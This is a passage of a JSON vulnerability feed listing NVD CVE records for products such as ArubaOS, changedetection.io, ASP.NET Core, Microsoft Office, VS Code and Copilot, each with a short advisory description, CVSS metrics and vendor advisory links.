AOS-8 Instant could allow an unauthenticated remote attacker to execute arbitrary JavaScript code in a victim's browser within the same local network. Successful exploitation could allow an attacker to compromise user data and potentially manipulate device configuration settings.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T19:16:28.603Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23819","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23819","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23819","type":"primary","publishedAt":"2026-05-12T19:16:28.603Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43891","cveId":"CVE-2026-43891","aliases":[],"kind":"vulnerability","title":"changedetection.io is a free open source web page change detection tool.","summary":"changedetection.io is a free open source web page change detection tool. Prior to 0.55.1, the vulnerability is caused by trusting attacker-controlled snapshot paths restored from backup files. The vulnerable flow starts in the backup restore logic. When a backup ZIP is restored, the application extracts the archive and copies each restored watch UUID directory directly into the live datastore using shutil.copytree(entry.path, dst_dir). This preserves attacker-controlled files inside the restored watch directory, including history.txt. After restore, the application parses history.txt in the watch history property and  returns the contents of the targeted local file. This vulnerability is fixed in 0.55.1.","detail":"changedetection.io is a free open source web page change detection tool. Prior to 0.55.1, the vulnerability is caused by trusting attacker-controlled snapshot paths restored from backup files. The vulnerable flow starts in the backup restore logic. When a backup ZIP is restored, the application extracts the archive and copies each restored watch UUID directory directly into the live datastore using shutil.copytree(entry.path, dst_dir). This preserves attacker-controlled files inside the restored watch directory, including history.txt. After restore, the application parses history.txt in the watch history property and  returns the contents of the targeted local file. This vulnerability is fixed in 0.55.1.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:28.493Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"webtechnologies","product":"changedetection","stacks":["Webtechnologies","changedetection"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43891","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43891","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43891","type":"primary","publishedAt":"2026-05-12T18:17:28.493Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-8757-69j2-hx56","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42899","cveId":"CVE-2026-42899","aliases":[],"kind":"vulnerability","title":"Loop with unreachable exit condition ('infinite loop') in ASP.NET Core allows an unauthorized attacker to deny service over a network.","summary":"Loop with unreachable exit condition ('infinite loop') in ASP.NET Core allows an unauthorized attacker to deny service over a network.","detail":"Loop with unreachable exit condition ('infinite loop') in ASP.NET Core allows an unauthorized attacker to deny service over a network.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:26.733Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":".net","stacks":[".NET",".net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42899","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42899","type":"primary","publishedAt":"2026-05-12T18:17:26.733Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42893","cveId":"CVE-2026-42893","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to perform tampering over a network.","summary":"Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to perform tampering over a network.","detail":"Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to perform tampering over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:26.343Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"outlook","stacks":["Microsoft Office","AI coding agents","outlook"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42893","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42893","type":"primary","publishedAt":"2026-05-12T18:17:26.343Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42832","cveId":"CVE-2026-42832","aliases":[],"kind":"vulnerability","title":"Improper access control in Microsoft Office allows an unauthorized attacker to perform spoofing locally.","summary":"Improper access control in Microsoft Office allows an unauthorized attacker to perform spoofing locally.","detail":"Improper access control in Microsoft Office allows an unauthorized attacker to perform spoofing locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:25.800Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"excel","stacks":["Microsoft Office","excel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42832","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42832","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42832","type":"primary","publishedAt":"2026-05-12T18:17:25.800Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42348","cveId":"CVE-2026-42348","aliases":[],"kind":"vulnerability","title":"OpenTelemetry.OpAmp.Client is the OpAMP client for OpenTelemetry .NET.","summary":"OpenTelemetry.OpAmp.Client is the OpAMP client for OpenTelemetry .NET. Prior to 0.2.0-alpha.1, when receiving responses from the OpAMP server over HTTP, the OpAMP client allocates an unbounded buffer to read all bytes from the server, with no upper-bound on the number of bytes consumed. This could cause memory exhaustion in the consuming application if the configured OpAMP server is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response. This vulnerability is fixed in 0.2.0-alpha.1.","detail":"OpenTelemetry.OpAmp.Client is the OpAMP client for OpenTelemetry .NET. Prior to 0.2.0-alpha.1, when receiving responses from the OpAMP server over HTTP, the OpAMP client allocates an unbounded buffer to read all bytes from the server, with no upper-bound on the number of bytes consumed. This could cause memory exhaustion in the consuming application if the configured OpAMP server is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response. This vulnerability is fixed in 0.2.0-alpha.1.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:24.700Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"opentelemetry","product":"opentelemetry.opamp.client","stacks":[".NET","opentelemetry.opamp.client"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42348","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42348","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42348","type":"primary","publishedAt":"2026-05-12T18:17:24.700Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/open-telemetry/opentelemetry-dotnet-contrib/security/advisories/GHSA-w2jh-77fq-7gp8","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41895","cveId":"CVE-2026-41895","aliases":[],"kind":"vulnerability","title":"changedetection.io is a free open source web page change detection tool.","summary":"changedetection.io is a free open source web page change detection tool. In 0.54.9 and earlier, xpath_filter() switches to XML mode for XML/RSS content and creates etree.XMLParser(strip_cdata=False) without explicitly disabling external entity resolution, external DTD loading, or network-backed entity lookup. The helper then parses untrusted XML bytes directly with etree.fromstring(...).","detail":"changedetection.io is a free open source web page change detection tool. In 0.54.9 and earlier, xpath_filter() switches to XML mode for XML/RSS content and creates etree.XMLParser(strip_cdata=False) without explicitly disabling external entity resolution, external DTD loading, or network-backed entity lookup. The helper then parses untrusted XML bytes directly with etree.fromstring(...).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:23.493Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"webtechnologies","product":"changedetection","stacks":["Webtechnologies","changedetection"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41895","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41895","type":"primary","publishedAt":"2026-05-12T18:17:23.493Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-v7cp-2cx9-x793","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41613","cveId":"CVE-2026-41613","aliases":[],"kind":"vulnerability","title":"Session fixation in Visual Studio Code allows an unauthorized attacker to elevate privileges over a network.","summary":"Session fixation in Visual Studio Code allows an unauthorized attacker to elevate privileges over a network.","detail":"Session fixation in Visual Studio Code allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:23.237Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"visual studio code","stacks":["Visual Studio","visual studio code"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41613","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41613","type":"primary","publishedAt":"2026-05-12T18:17:23.237Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41611","cveId":"CVE-2026-41611","aliases":[],"kind":"vulnerability","title":"Improper neutralization of script-related html tags in a web page (basic xss) in Visual Studio Code allows an unauthorized attacker to execute code locally.","summary":"Improper neutralization of script-related html tags in a web page (basic xss) in Visual Studio Code allows an unauthorized attacker to execute code locally.","detail":"Improper neutralization of script-related html tags in a web page (basic xss) in Visual Studio Code allows an unauthorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:22.980Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"visual studio code","stacks":["Visual Studio","visual studio code"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41611","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41611","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41611","type":"primary","publishedAt":"2026-05-12T18:17:22.980Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41109","cveId":"CVE-2026-41109","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements in output used by a downstream component ('injection') in GitHub Copilot and Visual Studio allows an unauthorized attacker to bypass a...","summary":"Improper neutralization of special elements in output used by a downstream component ('injection') in GitHub Copilot and Visual Studio allows an unauthorized attacker to bypass a security feature over a network.","detail":"Improper neutralization of special elements in output used by a downstream component ('injection') in GitHub Copilot and Visual Studio allows an unauthorized attacker to bypass a security feature over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:22.210Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"visual studio code","stacks":["Visual Studio","AI coding agents","visual studio code"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41109","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41109","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41109","type":"primary","publishedAt":"2026-05-12T18:17:22.210Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41102","cveId":"CVE-2026-41102","aliases":[],"kind":"vulnerability","title":"Improper access control in Microsoft Office PowerPoint allows an authorized attacker to perform spoofing locally.","summary":"Improper access control in Microsoft Office PowerPoint allows an authorized attacker to perform spoofing locally.","detail":"Improper access control in Microsoft Office PowerPoint allows an authorized attacker to perform spoofing locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:21.760Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"powerpoint","stacks":["Microsoft Office","powerpoint"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41102","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41102","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41102","type":"primary","publishedAt":"2026-05-12T18:17:21.760Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41101","cveId":"CVE-2026-41101","aliases":[],"kind":"vulnerability","title":"Improper access control in Microsoft Office Word allows an authorized attacker to perform spoofing locally.","summary":"Improper access control in Microsoft Office Word allows an authorized attacker to perform spoofing locally.","detail":"Improper access control in Microsoft Office Word allows an authorized attacker to perform spoofing locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:21.630Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"word","stacks":["Microsoft Office","word"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41101","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41101","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41101","type":"primary","publishedAt":"2026-05-12T18:17:21.630Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41095","cveId":"CVE-2026-41095","aliases":[],"kind":"vulnerability","title":"Use after free in Data Deduplication allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Data Deduplication allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Data Deduplication allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:21.020Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2012","stacks":["Microsoft Windows","windows server 2012"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41095","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41095","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41095","type":"primary","publishedAt":"2026-05-12T18:17:21.020Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41094","cveId":"CVE-2026-41094","aliases":[],"kind":"vulnerability","title":"Improper control of generation of code ('code injection') in Microsoft Data Formulator allows an unauthorized attacker to execute code over a network.","summary":"Improper control of generation of 